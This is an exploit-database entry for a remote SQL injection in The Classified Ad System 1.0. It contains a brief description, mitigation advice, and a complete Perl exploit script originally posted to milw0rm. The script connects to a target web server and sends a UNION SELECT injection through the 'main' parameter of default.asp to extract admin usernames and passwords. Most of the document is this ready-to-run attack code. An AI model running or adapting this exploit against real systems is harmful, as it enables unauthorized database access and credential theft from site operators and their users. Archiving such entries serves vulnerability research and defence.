The Classified Ad System 1.0 (main) Remote SQL Injection Exploit

vendor:

The Classified Ad System

by:

ajann

CVSS

HIGH

SQL Injection

CWE

Product Name: The Classified Ad System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2020

The Classified Ad System 1.0 (main) Remote SQL Injection Exploit

The Classified Ad System 1.0 (main) is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This request contains a malicious SQL query that can be used to extract sensitive information from the database, such as usernames and passwords. The attacker can then use this information to gain unauthorized access to the system.

Mitigation:

To mitigate this vulnerability, the application should use parameterized queries instead of dynamic SQL queries. Additionally, the application should be configured to use strong input validation and output encoding techniques to prevent malicious input from being processed.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#[Script Name: The Classified Ad System  1.0 (main) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.mxmania.net
#[$$         : 29.99 .
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  The Classified Ad System  1.0 (main) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/default.asp?action=view&full=NO&main=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,username,0,0%20from%20admin%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /main category of <b>(.*?)<\/b>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: admin\n";
}

if ($answer =~ /main category of <b>(.*?)<\/b>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-26]